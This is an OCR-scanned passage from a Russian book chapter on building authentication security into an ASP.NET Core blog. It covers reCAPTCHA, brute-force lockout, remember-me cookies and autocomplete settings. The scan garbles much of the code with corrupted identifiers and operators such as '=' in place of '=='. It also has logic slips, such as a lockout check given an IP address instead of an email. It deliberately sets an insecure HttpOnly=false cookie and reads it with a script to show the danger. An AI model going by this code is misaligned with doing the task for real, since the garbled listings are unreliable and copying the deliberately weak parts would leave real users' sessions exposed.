Если для вас написание тестов защиты от спама не является основным источником дохода, то вы можете просто использовать готовое решение, и лидером тут является компания Google. Она ежедневно борется с огромным количеством спама и поэтому добилась успехов в этом направлении.
Давайте рассмотрим, как реализовать на нашем сайте капчу от Google (Google reCAPTCHA). Если вы зарегистрированы на сайте Google, то можете сразу перейти по адресу создания такой капчи5 (рис. 2.4). Я воспользуюсь версией капчи v2, потому что она более наглядная и предоставляет возможность выбрать отображение на странице флажка Я не робот, установка которого вызовет появление всплывающего окна, в котором надо будет щелкать на картинках с определенным содержимым.
Рис. 2.4. Регистрация Google reCAPTCHA v2
5 См. https://www.google.com/recaptcha/admln/create.
68
Глава 2
Этот подход проще тестировать — выберите картинки корректно, чтобы увидеть положительный результат на тест. Чтобы получить отказ, просто намеренно выберите неверные картинки. Невидимые проверки, которые используют более интеллектуальные подходы, сложнее в реализации.
При регистрации капчи нужно указать какой-либо домен, который имеет право устанавливать капчу. Вы не обязаны им владеть, но лучше сделать его каким-то уникальным, — я часто использую свои домены и добавляю в конец слово test. Например, у меня есть домен flenov.ru, и я часто использую его для локальных тестов. Для этой книги я выбрал домен flenovbooktest.com, который не принадлежит мне, но достаточно уникален, поэтому я и добавил его при создании капчи.
По завершении настройки вам покажут ключ сайта и секретный ключ. Вы всегда можете получить доступ к ним в панели администратора на сайте Google. Я сразу же скопировал их и добавил оба значения в файл appsettings.json в корне нашего проекта:
"Captcha”: {
"SiteKey”: ” 61x18 YYwiAAAAALwu”,
"SecretKey”: " 61x18 YYwiAAAAAE23”
I
Теперь нужно добавить этот домен в hosts-файл вашей системы. У меня macOS, и я добавил следующую строку в файл /etc/hosts:
127.0.0.1 flenovbooktest.com
Если вы используете Windows, то hosts-файл этой системы находится в папке Windows\system32\drivers\etc\.
Для обеих ОС вам нужно открывать этот файл от имени администратора, потому что он защищен.
При обращении к домену flenovbooktest.com браузер будет искать сайт на вашем компьютере. Запустите сайт как обычно, и в браузере появится URL, который будет содержать слово localhost и номер порта — в моем случае это http://localhost:43118. Теперь просто поменяйте localhost на flenovbooktest.com (при этом не меняйте и не убирайте номер порта) и загрузите сайт, используя этот домен.
Мы можем сделать так, чтобы сайт сразу загружался с нужным доменом. Перейдите в папку вашего проекта и в любом текстовом редакторе откройте файл Properties/launchSettings.json. Если вы используете для программирования Visual Studio, то можете открыть этот файл в ее среде.
Найдите в файле следующий параметр:
"applicationUrl": "http://localhost:51962",
Номер порта может отличаться, и таких URL может быть несколько в различных профилях. Замените localhost на выбранное вами имя домена flenovbooktest.coni:
"applicationUrl”: ”http://flenovbooktest.com: 51962”r
Теперь при запуске сайта будет загружаться сайг с использованием этого домена.
Аутентификация и авторизация
69
2.6.2. Пример использования геСАРТСНА
Подготовительный этап закончен, пора приступать к программированию. Для начала открываем файл представления для формы регистрации (я расположил ее в файле Views/Register/index.html) и где-нибудь в конце файла добавляем следующие три строки:
^section Scripts {
<script src="https: //www.google.ccm/recaptcha/api. js"x/script> }
Здесь мы просим отобразить в секции Scripts HTML-код для загрузки JS-скрипта, который реализует Google геСАРТСНА. Эта секция должна быть в файле шаблона, и если ее там нет, то ее стоит добавить.
Теперь нужно добавить следующий HTML-код в то место, где вы хотите отобразить капчу:
«div class="g-recaptcha" data-sitekey="@ViewBag.CaptchaSitekey"x/div>
<div class="error">@Html. ValidationMessage ("captcha") </div>
Первая строка обязательна, и именно на ее месте будет отображаться капча. В атрибуте data-sitekey нужно указать ключ сайта, который вы должны были получить при регистрации на сайте Google. Мы его сохранили в файле appsettings.json и используем здесь.
Сейчас я немного перепрыгну на бизнес-уровень, а потом покажу, как связываю все части этого пазла.
Для работы с капчей я создал интерфейс, чтобы использовать возможности паттерна инъекции зависимостей:
namespace MyBlog.BL.Auth {
public interface ICaptcha
{
string GetSitekey();
Task<bool> ValidateToken(string token);
} }
У этого интерфейса два метода: GetSitekey возвращает ключ сайга, который нам необходим В представлении, a ValidateToken используется для проверки кода.
Когда мы отображаем форму, то JS-код геСАРТСНА отображает на странице все необходимое для того, чтобы посетитель мог подтвердить, что он не компьютер. Эта информация сохраняется в браузере, но при отправке формы на сервер мы должны убедиться, что форма прислала корректные данные и они не подделаны хакером. Метод ValidateToken будет проверять код у Google. Этот запрос будет направляться к Google с вашего сервера, и хакер не сможет на него повлиять (по крайней мере он не должен иметь такой возможности).
70
Гпава 2
Теперь посмотрим на реализацию этого интерфейса, которая будет работать с Google reCAPTCHA (листинг 2.1).
Листинг 2.1. Проверка Google reCAPTCHA
public class GoogleCaptcha: ICaptcha {
private readonly string Sitekey;
private readonly string Secret;
HttpClient httpClient ■ new HttpClient();
public GoogleCaptcha(string sitekey, string secret) {
this.Sitekey « sitekey;
this.Secret = secret; }
public string GetSitekeyO {
return Sitekey; }
public async Task<bool> ValidateToken(string token) {
string url = ’’https://www.google.com/recaptcha/api/siteverify”; var res » await
httpClient.GetAsync($”{url}?secret={Secret}&response={token}”);
if (res.StatusCode != HttpStatusCode.OK) return false;
string json = await res.Content.ReadAsStringAsync();
GoogleTokenResult? tocketresponse = JsonSerializer.Deserialize<GoogleTokenResult>(json);
return tocketresponse?.success == true; } }
Самое интересное здесь находится в методе ValidateToken. Он направляет НТТР- запрос на сервер Google с двумя параметрами:
□ secret — секрет Google reCAPTCHA;
□ token — токен, который браузер направит нам вместе с запросом.
Далее проверяем статус запроса — если запрос прошел успешно, то мы смогли соединиться с Google-сервером и можем читать ответ. Он приходит в виде JSON-
Аутентификация и авторизация 71
строки, в которой находится несколько параметров, один из которых: success. Если этот параметр равен true, то токен верный, а перед нами человек — по крайней мере, Google так считает.
В JSON-ответе несколько параметров, но меня интересует лишь success, поэтому для десериализации ответа я создал простой класс только с нужным мне параметром:
public class GoogleTokenResult
{
public bool success { get; set; }
}
Отлично, у меня есть бизнес-уровень с логикой проверки токена и представление, которое отображает капчу. Теперь нужно связать эти две части в контроллере:
ViewBag.CaptchaSitekey = captcha.GetSitekey(); bool isCaptchaValid = await
captcha.ValidateToken(Request.Form ["g—recaptcha—response"]);
if (isCaptchaValid)
(
// здесь код создания пользователя, который мы уже рассматривали
else
Modelstate.TryAddModelError("captcha", "Incorrect Captcha"); return View("Index", model);
Вначале я сохраняю в viewBag ключ сайта. Мы его используем в представлении. Потом я вызываю метод captcha.vaiidateToken, где captcha — это бизнес-уровень, объявленный в контроллере так:
private readonly ICaptcha captcha;
Ключ приходит от пользователя в качестве параметра g-recaptcha-response, и именно его я передаю методу vaiidateToken.
Прежде чем запустить проект, осталось только настроить инъекцию зависимостей в файле Program.cs:
builder.Services.AddSingleton<ICaptcha>
(х => new GoogleCaptcha(
builder. Configuration [ ’’Captcha: SiteKey” ],
builder. Configuration [ ’’Captcha: SecretKey” ]
) );
Здесь я говорю, что если мы просим экземпляр ICaptcha, то должны создать экзем- ПЛЯр класса GoogleCaptcha.
Теперь все готово — можно запустить приложение и протестировать его. Мой результат показан на рис. 2.5.
72
Глава 2
Рис. 2.5. Форма регистрации с Google reCAPTCHA
2.6.3. Отменяем капчу
Капча хороша, когд а стоит на рабочих серверах. Но во время разработки не хочется каждый раз проходить тест на робота — мы и так знаем, что программисты не роботы, хотя иногда и закрадываются сомнения... Как сделать так, чтобы капча не работала для определенных случаев или окружений?
Я видел реализации, где была сделана привязка к домену, или прямо в классе GoogleCaptcha подставляли какие-то костыли. Но, на мой взгляд, самое элегантное решение — использование инъекции зависимостей. Мы работаем с интерфейсами и можем создать специальный интерфейс периода разработки:
namespace MyBlog. BL. Au th {
public class DevCaptcha : ICaptcha
{
public DevCaptcha ()
{ } public string GetSitekeyO
Аутентификация и авторизация 73
{ return "";
}
public Task<bool> ValidateToken (string token) {
return Task. FroniResult<bool> (true) ;
)
I
}
Эго новый класс, который всегда возвращает положительный результат. Теперь мы можем в Program.cs сделать такую логику для инъекции:
if (builder.Environment. IsDevelopment ())
builder. Services. AddSingletonclCaptcha, DevCaptcha> () ; else
builder. Services. Adds ingle ton<ICaptcha> (x =>
new GoogleCaptcha(
builder.Configuration["Captcha:SiteKey"], builder.Configuration["Captcha:SecretKey"]) );
Если МЫ находимся В режиме разработки: builder.Environment.IsDevelopmentO, ТО подключается DevCaptcha, которая отключает проверки. Если мы находимся в рабочем окружении, то проверка будет включена.
2.7. Аутентификация
К этому моменту посетители могут регистрироваться на нашем сайте, где теперь реализованы базовые и необходимые защитные механизмы. Я сделал все это за три дня — с учетом того, что мне еще нужно было одновременно писать книгу, рассказывая о том, что я делаю.
Теперь пора потратить еще немного времени и реализовать аутентификацию. Тут все немного веселее и даже интереснее, на мой взгляд.
2.7.1. Базовая аутентификация
Сейчас после регистрации посетитель остается авторизованным, пока активна его сессия. Но стоит закрыть браузер, как он снова становится анонимным. Чтобы посетитель мог опять авторизоваться, давайте добавим новую страницу для входа на сайт.
Модель представления будет практически такой же, как и при регистрации:
public class LoginViewModel
[Required(ErrorMessage = "Email обязательный")]
74 Глава 2
[EmailAddress (ErrorMessage = "Неверный email”)] public string? Email { get; set; }
[Required(ErrorMessage = ’’Пароль обязательный”)] public string? Password { get; set; }
}
Нам снова нужны адрес электронной почты посетителя и его пароль, для которых будет использоваться стандартная проверка через атрибуты. Создайте контроллер Logincontroller и представление, где посетитель будет предоставлять нужные нам данные.
Метод HttpGet будет простой — надо только отобразить форму. А вот в методе HttpPost нам понадобится проверить аутентификацию. Для этого в бизнес-слое я создал метод Authenticate, возвращающий True, если пользователь предоставил корректные данные:
[HttpPost]
[Route("/Login")] public async Task<IActionResult> IndexPost(LoginViewModel model) { if (Modelstate.IsValid) { var isAuthenticated = await authentication.Authenticate( model.Email 1, model.Password!);
if (isAuthenticated) return Redirect("/”); else
Modelstate.TryAddModelError("Email”, ’’Неверный Email или пароль”);
} return View("Index”, model); }
Вот непосредственно сам метод Authenticate:
public async Task<bool> Authenticate(String email, String password) {
UserAuthModel user = await authenticationDAL.GetUser(email); if (user.Userid == null) return false;
if (user.Password == encrypt.HashPassword(password, user.Salt)) {
this.Login((int)user.Userid!); return true;
} return false;
}
Всю теорию кода в этом методе мы уже обсуждали, когда говорили про регистрацию и хеширование пароля.
Аутентификация и авторизация
7S
Сначала я ищу в базе данных посетителя с нужным email. Если в результате получен объект с Userid, равным null, то посетитель не найден и нам вернули объект для анонимного пользователя. В этом случае возвращаем false.
Потом проверяем пароль, а для этого нам надо зашифровать введенный пользователем пароль с сохраненной в базе солью и использовать результат. Если результат совпадает со значением, которое указал посетитель, то он аутентифицирован.
Это только начало аутентификации, и теперь нужно поговорить о ее безопасности.
2.7.2. Журналирование и защита от перебора
Нужна ли капча на странице аутентификации? Я считаю, что нет, потому что она, хотя и способна затормозить перебор паролей, но при этом создает посетителям проблемы. Мы можем затормозить перебор паролей способом, более добрым по отношению к нашему посетителю и более эффективным.
В разд. 2.3.1 я упоминал, что специалисты по безопасности не хотят, чтобы мы показывали, есть ли реально в базе данных посетитель или его там нет. Если в процессе регистрации это создает проблемы, то во время аутентификации они не столь сложные и легко снимаются. И всё это легко решить с помощью журналирования, которое нужно в любом случае, потому что позволит вам в случае взлома аккаунта понять, был ли это перебор. Мне однажды журнал очень помог определить начало атаки перебора по словарю.
Каждый раз, когда посетитель отправляет на сервер имя и пароль, мы будем сохранять запись в таблице FaiiedAttempt:
create table [FaiiedAttempt] (
FailedAttemptld bigint identity(1, 1) primary key,
Email nvarchar(50),
Userid int null,
IP nvarchar(100),
Created datetime
)
Здесь будут храниться:
□ Email — адрес электронной почты;
□ Userid — если посетитель ввел правильный email, то будем сохранять и ID посетителя;
□ ip — IP-адрес посетителя;
□ Created — время попытки.
Было бы неплохо сохранять еще и свойство UserAgent браузера посетителя, и вообще как можно больше информации о попытке, но только не пароль. Пароли сохранять нельзя!
76
Глава 2
Метод аутентификации изменится следующим образом:
public async Task<bool> Authenticate(String enail. String password. String ip)
{
UserAuthModel user = await authenticationDAL.GetUser (email);
if (user.Userid = null)
{
await failedAtts^tDAL.AddFfeiiljedAttflmpt (email, ip) ;
return false;
I
if (user.Password = encrypt.HashPassword(password, user.Salt))
{
this.Login((int)user.Userid!) ; return true;
}
else
await failedAttsmptDAL. AddfoilsdAtteapt (email, (int) user .Userid!, ip) ;
return false;
}
Метод аутентификации теперь получает три параметра (я добавил IP-адрес). В контроллере мы можем получить удаленный IP-адрес следующим образом:
Request.HttpContext.Connection.RemotelpAddress?.ToString()
Когда метод принимает три и более параметров, я предпочитаю конвертировать параметры в класс модели, но в нашем случае оставлю три значения просто для того, чтобы исходный код изменялся последовательно.
Для работы с неудачными попытками я создал отдельный уровень доступа к данным — faiiedAttemptDAL, который будет сохранять и получать данные из таблицы FaiiedAttempt. Приводить его код я здесь не стану — вы его найдете в сопровождающем книгу файловом архиве.
2.7.3. Защищаемся от перебора
Журнал создан, и он сохраняет неудачные попытки аутентификации, — теперь пора реализовать защиту от спама.
Очень часто на сайгах реализовывают блокировку аккаунтов, если посетитель сделает определенное количество неудачных попыток. Банки тоже могут реагировать на это весьма жестко — полностью блокировать аккаунт, после чего неудачнику придется звонить в службу поддержки и активировать аккаунт, общаясь с агентом, который задаст ему несколько уточняющих его личность вопросов.
Поддержка кол-центра — достаточно дорогое удовольствие, поэтому на обычных сайгах предпочитают блокировать аккаунт только на определенное время — например, на 30 минут. Представляете, что начнется, если Google станет полностью
Аутентификация и авторизация
77
блокировать аккаунты после трех неверных попыток, и посетителям придется звонить в Google, чтобы разблокировать свой аккаунт? Я считаю, что вариант с временной блокировкой — вполне достойный. 30 минут задержки после каждых трех неверных попыток значительно замедлят автоматический перебор паролей.
Для блокировки аккаунта не обязательно вводить новые свойства в таблицу посетителей— достаточно проверять наличие определенного количества провальных попыток входа за определенное время. В бизнес-логике метод проверки может выглядеть следующим образом:
public async Task<bool> IsAccountLocked(String email)
{
// в реальном приложении параметры должны конфигурироваться
int emailAttemptsMinutes = -30;
int emailThreshold = 3;
int count = await failedAttemptDAL.GetFailedAttemptByEmail (
email, emailAttemptsMinutes);
if (count > emailThreshold)
return true;
return false;
I
В этом коде два параметра объявлены прямо в методе только для наглядности. В реальном приложении параметры emailAtteraptsMinutes И emailThreshold ДОЛЖНЫ содержаться в конфигурационном файле или в любом другом хранилище параметров. Первый из них задает количество минут, в которые мы будем смотреть провальные попытки входа (в нашем случае — 30 последних минут). Второй параметр — количество ошибочных попыток. Если за 30 минут найдено три ошибки входа с указанным email, то считаем, что аккаунт временно заблокирован.
Теперь этот метод вызываем в методе аутентификации перед всеми проверками, и чтобы пользователь увидел сообщение о блокировке, добавляем его в контроллер:
public async Task<IActionResult> IndexPost (LoginViewModel model)
{
if (Modelstate. IsValid)
{
bool isLocked =
await authentication. IsAccountLocked (model.Email!) ;
if (isLocked)
{
Modelstate.TryAddModelError("Emai1", "Аккаунт заблокирован");
return View (" Index", model);
I
}
Так мы защищаемся от подбора пароля для конкретного посетителя.
78
Гпава 2
Но что если кто-то получил базу данных имен и паролей с другого сайта? Хакеры не раз взламывали достаточно крупные сайты и выкладывали в сеть пароли посетителей. Достаточно взять эту базу и попробовать аутентифицировать каждого из них на нашем сайте — можете поверить мне, что выявится большое количество совпадений.
Можно добавить проверку, чтобы с одного и того же IP-адреса не было большого количества попыток, и у нас для этого есть в журнале необходимая информация. Я как-то использовал следующий вариант защиты, который отлично работал:
public async Task<bool> IsAuthRequestSecure(String ip) {
// в реальном приложении параметры должны конфигурироваться
int ipAttemptsMinutes = -1;
int ipThreshold = 3;
int count = await failedAttemptDAL.GetFailedAttemptBylp (
ip, ipAttemptsMinutes);
if (count > ipThreshold)
return false;
return true;
}
Если в журнале за последнюю минуту есть три неверные попытки входа с одного и того же IP-адреса, то считаем, что запрос неверный. Нормальный человек не может трижды быстро вводить сложный пароль и при этом ошибаться. Даже в случае посетителей, которые сидят за прокси-сервером или в корпоративной сети и делят один и тот же IP-адрес, я не видел такого количества ошибок подряд. Может быть большое количество удачных аутентификаций, но ошибки, скорее всего, указывают на перебор.
Получается, что запрос будет блокироваться только на минуту? В методе Authorize мы можем сделать так:
public async Task<bool> Authenticate(String email, String password, String ip)
{
bool isAuthSecure = await IsAuthRequestSecure(ip);
if (!isAuthSecure)
{
await failedAttemptDAL. AddFailedAttempt (email, ip);
return false;
}
bool isLocked ■ await IsAccountLocked(ip);
if (isLocked) return false;
}
Проверка корректности запроса и блокировка происходят до того, как мы проверяем существование посетителя, и в случае подозрения прерываем аутентификацию.
Аутентификация и авторизация
79
Если провалилась проверка IP-адреса, я все равно сохраняю попытку в журнале. Таким образом, новые записи будут продолжать появляться, и окно блокировки будет постоянно двигаться. В случае блокировки аккаунта по email я не добавляю новых записей в журнал, потому что это окно двигаться не должно, — посетитель должен иметь возможность повторить попытку через 30 минут, и это уже достаточно большая задержка между попытками.
2.8. Запомни меня
Если сейчас запустить сайт и аутентифицироваться, то информация о текущем посетителе сохранится только в сессии. Но стоит посетителю перезапустить сайт или браузер, он будет вынужден проходить аутентификацию заново, что не может его не раздражать.
Сейчас лишь банки и финансовые организации авторизуют посетителя только на одну сессию. Большинство остальных сайтов предлагают возможность запомнить посетителя на продолжительное время. Если кто-то аутентифицируется с публичного компьютера (такое еще случается), то по умолчанию мы посетителя не запоминаем. Но если посетитель точно знает, что это его личный компьютер, и никто, кроме него, не будет его использовать, то он может установить обычно имеющийся на странице авторизации флажок, который разрешает сайту запомнить его аккаунт.
Давайте реализуем эту возможность — это не так сложно, но дает повод обсудить ее с точки зрения безопасности.
Где и как запомнить, что посетитель авторизован? Помимо сессии, мы можем использовать файлы cookie (печеньки). Что сохранять в этих печеньках? Я как-то видел сайт, который сохранял в cookie и email, и пароль. Это давало сайту возможность авторизовать посетителя по имени, которое предоставляется через форму или сохранено в печеньке. Ужасное решение, потому что имя и пароль ни в коем случае не должны сохраняться в cookie даже в зашифрованном виде.
Можно зашифровать идентификатор аккаунта. Я видел и такое решение, но оно небезопасно, потому что шифрование постоянной дает постоянное значение. Если хакер каким-то образом украдет зашифрованный идентификатор аккаунта, то у пользователя не будет возможности сделать так, чтобы это значение перестало работать.
Что же тогда сохранять? Можно сделать отдельную таблицу, в которой будут создаваться уникальные токены (возможно, Guid), и уже они будут попадать в cookie. Почему отдельную таблицу, а не новую колонку в существующей User? Потому что у посетителя может быть несколько устройств, и для каждого из них неплохо создать отдельный токен. Причем каждый из этих токенов желательно привязать к конкретному IP-адресу.
Привязка к IP-адресу будет отлично работать на стационарных компьютерах, но на мобильных устройствах может привести к проблемам.
Отдельная таблица с токенами из Guid безопасна тем, что такие значения легко удалить на сервере и сделать так, чтобы украденное значение перестало работать.
80
Глава 2
2.8.1. Зашифрованный якорь
Я поступлю проще — буду шифровать userID пользователя и сохранять в cookie именно его. Недостаток этого подхода в том, что привязки к IP-адресу не будет, но она и не нужна. Впрочем, такую привязку можно реализовать немного по-другому. Каждый раз, когда посетитель входит на сайт, мы можем сохранять его IP-адрес в отдельной таблице, — назовем ее userLogin. Когда мы видим посетителя, пришедшего с нового IP-адреса, то можем попросить его ввести пароль заново, а если он пришел с уже известного, то используем значение Userid из cookie.
Это небезопасный способ, потому что подобную авторизацию отозвать нельзя! Но мы рассмотрим этот метод с практической точки зрения — как это может быть реализовано.
Я выбрал способ с шифрованием userid только потому, что хочу сейчас поговорить о шифровании. Чтобы начать работать с шифрованием, в файл Program.cs нужно добавить следующую строку:
builder.Services.AddDataProtection();
Теперь я расширю мой класс Pbkdf2Encrypt, отвечающий за шифрование, двумя методами:
public string Encrypt(string text)
{
return dataProtector.Protect(text);
I
public string Decrypt(string text)
{
return dataProtector.Unprotect(text);
}
Вот так просто мы вызываем методы Protect и unprotect какого-то магического dataProtector. Это IdataProtector, который мы можем создать в конструкторе следующим образом:
private readonly IDataProtector dataProtector;
private const string EncryptionKey = "Здесь ш указываем ключ";
public Pbkdf2Encrypt (IDataProtectionProvider dataProtectionProvider)
this.dataProtector =
dataProtectionProvider.CreateProtector(EncryptionKey);
}
Шифрование готово. Теперь осталось только создать cookie во время аутентификации:
public void Login(int id, bool remembenne)
{
httpContextAccessor?. HttpContext?. Session. Setlnt32 ("userid", id);
Аутентификация и авторизация 81
if (rememberme) {
CookieOptions options = new CookieOptions();
options.HttpOnly = false;
options.Secure = true;
options.Expires = DateTimeOffset.UtcNow.AddDays(30);
httpContextAccessor?.HttpContext?.Response.Cookies.Append(
General.Constants.RememberMeCookieName,
encrypt.Encrypt(id.ToString()), options);
} }
Если посетитель согласен, чтобы мы его запомнили, то я собираю объект CookieOptions, который указывает свойства cookie. Если не задать свойства, то по умолчанию печенька будет работать точно так же, как и сессия.
Для Httponiy я здесь указал false, и это плохо — так делать нельзя, но я сначала создам плохую печеньку, покажу, почему это плохо, а потом мы исправим этот параметр на true. Проблема тут в том, что JavaScript-код может получить доступ к cookie-файлам, и при определенных уязвимостях хакер сможет перехватить значение нашей печеньки и присвоить его себе, а значит, украдет у нас сессию. Если же указать true, то такое значение cookie будет передаваться с запросами по сети, но будет недоступно из JavaScript
Параметр secure говорит о том, что печенька будет передаваться только по защищенному SSL-соединению. Сейчас все движется к тому, чтобы сайты работали по защищенным протоколам. Google плохо ранжирует сайты без SSL, многие социальные сети не дают использовать свою аутентификацию без SSL, в приложениях iOS также наблюдается стремление к тому, чтобы посетители использовали лищь зашифрованное соединение.
Параметр Expires по умолчанию определяет время жизни cookie только текущей сессией. Чтобы сохранить значение на больший срок, нужно указать конкретный период, на который мы хотим сохранить данные. В приведенном примере я указываю 30 дней.
Теперь можно добавлять значение cookie — для этого методу в параметре Response.Cookies .Append передаются: имя cookie, значение, свойства.
Для имени я завел константу — очень важно использовать константы, а не конкретные имена, это упрощает поддержку кода в будущем. В качестве значения указан результат шифрования id посетителя — посетитель запомнен.
Теперь у меня есть класс Currentuser, в котором я могу работать с текущим посетителем. В этом классе присутствует метод isLoggedin, который проверяет, авторизован ли посетитель. Его я обновил следующим образом:
public bool IsLoggedin ()
bool loggedln =
httpContextAccessor?.HttpContext?.Session.GetInt32("userid")!=null;
82
Гпава 2
if (lloggedln)
var cookie =
httpContextAccessor?.HttpContext?.Request?.Cookies.FirstOrDefault( m => m.Key == General. Constants .RememberMeCookieName
);
if (cookie != null && cookie.Value.Value != null) {
var id = encrypt.Decrypt(cookie.Value.Value);
int? intid = General.Helpers.StringToIntDef(id, null); if (intid != null) {
httpContextAccessor?.HttpContext?.Session.Setlnt32( "userid”, (int)intid
); return true;
}
}
}
return loggedln;
}
Сначала я проверяю значение ID посетителя в сессии. Если в сессии уже сохранен ID посетителя, то используем его. Если нет, то пробуем проверить значения cookie на наличие зашифрованного ID посетителя.
Запустите пример и при аутентификации не забудьте установить флажок Запомнить меня. С точки зрения безопасности по умолчанию он должен быть отключен,
Рис. 2.6. Зашифрованный ID пользователя в Cookie
Аутентификация и авторизация 83
и посетитель должен явно согласиться с тем, что мы хотим запомнить его данные в cookie.
В окне разработчика, показанном на рис. 2.6, подсвечено значение cookie — обратите внимание, что значение это очень сильно похоже на значение сессии строкой выше. Сдается мне, что значения сессии и нашей печеньки зашифрованы одним и тем же алгоритмом, но это не точно...
Окно разработчика в Google Chrome можно вызвать комбинацией клавиш <Shift>+<Ctrl>+<i> или клавишей <F12>, а под macOS используется комбинация клавиш <Option>+<Command>+<i>. Значения cookie доступны на вкладке Application (Приложение) — слева нужно выбрать Cookie, а потом нужный сайт.
2.8.2. Опасность HttpOnly
При создании cookie в предыдущем разделе я указал, что cookie доступны не только для HTTP, но и для JS. Давайте посмотрим, как JavaScript может получить доступ к значению нашей печеньки. В любом представлении добавьте следующий код:
<script>
alert(document.cookie);
</script>
Я добавил его на домашнюю страницу Views/Home/lndex.shtml. Теперь загружаем сайт и видим всплывающее окно, показанное на рис. 2.7, и в этом окне — наше значение cookie. Если его скопировать и поместить в любой браузер любого другого компьютера, то мы украдем сессию посетителя.
Как я уже отмечал ранее, JavaScript не должен иметь доступа к значению cookie. При создании cookie всегда по умолчанию создавайте их в режиме HttpOnly с пара-
Рис. 2.7. Браузер отображает значение cookie
84
Гпава 2
метром true. Указывать для HttpOniy параметр false можно только для тех значений, которые действительно должны быть видимы из JavaScript.
Удалите значения cookie с помощью утилиты разработчика браузера, для чего замените в коде опцию HttpOniy на true:
options.HttpOniy = true;
Запустите сайт и авторизуйтесь. Всплывающее окно теперь пустое (рис. 2.8) — в нем нет значения cookie, хотя в утилите разработчика видно, что оно есть.
Рис. 2.8. Мы потеряли доступ к значению cookie
2.8.3. Уникальные токены
Следующим шагом по улучшению процесса запоминания посетителя будет использование не id посетителя, а токенов — с привязкой их к IP-адресу, чтобы защититься от возможной утечки cookie с авторизацией.
Напомню, что опцию запоминания посетителей нельзя делать для банковских систем — это такой тип приложений, где лучше проходить аутентификацию каждый раз при входе в систему.
Давайте улучшим защиту и реализуем запоминание посетителя через токены. Для этого нам понадобится новая таблица, которую я назвал userToken:
if (not exists(select * from sys.tables where name = ’UserToken’))
create table UserToken (
UserTokenld UNIQUEIDENTIFIER primary keyr
Аутентификация и авторизация
85
Userid int, Created datetime, UserAgent varchar(1000) null ); GO
Нам нужны четыре поля:
□ уникальный идентификатор userTokenid — это тот токен, который мы будем сохранять в cookie. Он достаточно уникален, чтобы хакеры не смогли его подобрать;
□ поле userid — это идентификатор пользователя, для которого создан токен;
□ поле Created указывает на время создания. С помощью времени создания мы сможем показать посетителю, когда он запомнил где-то свой аккаунт, и позволить ему отменить сессию удаленно, если он заподозрит, что произошла ком- проментация. И мы сможем со стороны сервера уничтожить старые авторизации;
□ поле UserAgent позволяет узнать дополнительную информацию о том, какая ОС на компьютере. Эго поможет посетителю в определении того, какая сессия какому устройству принадлежит. Для хранения этого значения я выделил 1000 символов. Я не знаю, какой тут максимум — согласно правилам Интернета строка может быть достаточно длиной. Надеюсь, что 1000 символов хватит.
При аутентификации теперь вместо шифрования посетителя нужно генерировать новый токен:
UserTokenModel tokenModel = new UserTokenModel () { Userid = userid, UserTokenid = Guid.NewGuidO , UserAgent = httpContextAccessor?. HttpContext?. Request.
Headers["User-Agent"] ?? ""
await userTokenDAL. Create (tokenModel);
Этот код вы можете найти в методе Login файла MyBlog/MyBlog/BL/Auth/ Authentication.cs.
Теперь в cookie попадает не зашифрованная версия идентификатора посетителя, а уникальный идентификатор:
// это лучше вынести в отдельный класс CookieOptions options = new CookieOptions (); options.Path = "/";
options.HttpOnly = true; options.Secure = true; options.Expires =
DateTimeOff set.UtcNow. AddDays (General.Constants.RememberMeDays) ; httpContextAccessor?. HttpContext?.Response. Cookies. Append (General. Constants. RememberMeCookieName, ((Guid) tokenModel. UserTokenid!) . ToString (), options);
86
Гпава 2
Я защищаю cookie так же, как и сессию, — она должна работать только по защищенному протоколу и не должна быть доступна из JavaScript.
Метод isLoggedin теперь сначала проверяет значение в сессии, и если там ничего не найдено, то он пробует проверить значение в токене:
public async Task<bool> IsLoggedin() {
bool loggedln = this.httpContextAccessor?.HttpContext?.Session.
Getlnt32("userid”) != null;
if (!loggedln) {
int? userid = await GetUserldByToken(); if (userid != null)
{
await session.SetUserld((int)userid); loggedln = true;
}
}
return loggedln;
}
Метод GetUserldByToken проверяет значение cookie. Если оно есть, то происходит проверка значения на то, что это уникальный идентификатор. Если это корректный идентификтор, пробуем загружать данные из базы данных. Да, проверок много, и я стараюсь быть тут максимально аккуратным, потому что данные в cookie могут быть испорченными. Хакеры могут попытаться передать через параметр мусор, и в этом случае мы просто должны считать, что посетитель просто не авторизован:
public async Task<int?> GetUserldByToken() { var tokenCookie =
httpContextAccessor?.HttpContext?.Request?.Cookies.FirstOrDefault( m => m.Key == General.Constants.RememberMeCookieName
);
if (tokenCookie == null) return null;
Guid? tokenGuid = General.Helpers.StringToGuidDef(tokenCookie ?? "”);
if (tokenGuid == null) return null;
int? userid = await userTokenDAL.Get((Guid)tokenGuid); return userid;
}
Код готов, и мы теперь авторизуемся с помощью уникальных токенов.
Аутентификация и авторизация
87
2.9. Автозаполнение
При аутентификации мы спрашиваем email и пароль, и для этого используются HTML-элементы <input>. Если просто создать поля:
<input type=”text” name=”email” value=”@Model.Email” />
<input type=”password” name=”Password” value=””/>
то работать это будет, но у меня есть несколько замечаний к таким полям.
Во-первых, никогда не заполняйте пароль существующим. В приведенном примере для пароля значение value всегда пустое. Если пользователь совершит ошибку при вводе пароля, при перерисовке формы поле пароля будет пустым и не заполнится ошибочным значением.
Во-вторых, желательно добавить autocomplete="off". Если этого атрибута нет, то браузер может автоматически подставить пароль, который был сохранен в браузере. Это плохо — лучше давать посетителю возможность явно выбрать пароль из сохраненных.
Более безопасная версия будет выглядеть так:
<input type="text" name-"email" value="@Model.Email" autocomplete-"off" />
<input type="password" name-"Password" value-"" autocoirplete="off"/>
На форме регистрации браузеры могут предлагать посетителю сгенерировать новый пароль. Чтобы браузер знал, в каком HTML-элементе находится пароль, который можно сгенерировать, надо ему это подсказать, для чего атрибут autocomplete нужно установить в new-password:
<input type-"password" name="Password" value-"" autocomplete-"new-password" />
Теперь, когда фокус попадет на это поле, браузер предложит сгенерировать новый пароль. Я люблю сохранять пароли в браузере и использую функцию генерации, чтобы они были сложными.
2.10. Авторизация
У нас есть регистрация, аутентификация, и мы уже достаточно много говорили о безопасности, но все же остается одна большая проблема — сейчас нет никакой проверки на доступ к сервисам, которые должны быть доступны только зарегистрированным посетителям. Например, страница добавления записи в блог должна быть доступна только авторизованным посетителям, поэтому ссылка на главной странице сайта отображается именно им. Но вот незадача — если неавторизованный посетитель напрямую загрузит в браузере адрес http://localhost:37741/blog/ add, то он увидит эту страницу.
Поэтому необходимо реализовать возможность проверки доступа к страницам. Самый простой способ — в каждом методе контроллера проверять, авторизован текущий пользователь или нет, следующим образом:
[HttpGet]
[Route("/blog/add")]
public lActionResult AddActionO {
if (currentuser.IsLoggedlnO = false) return Redirect ("/Login");
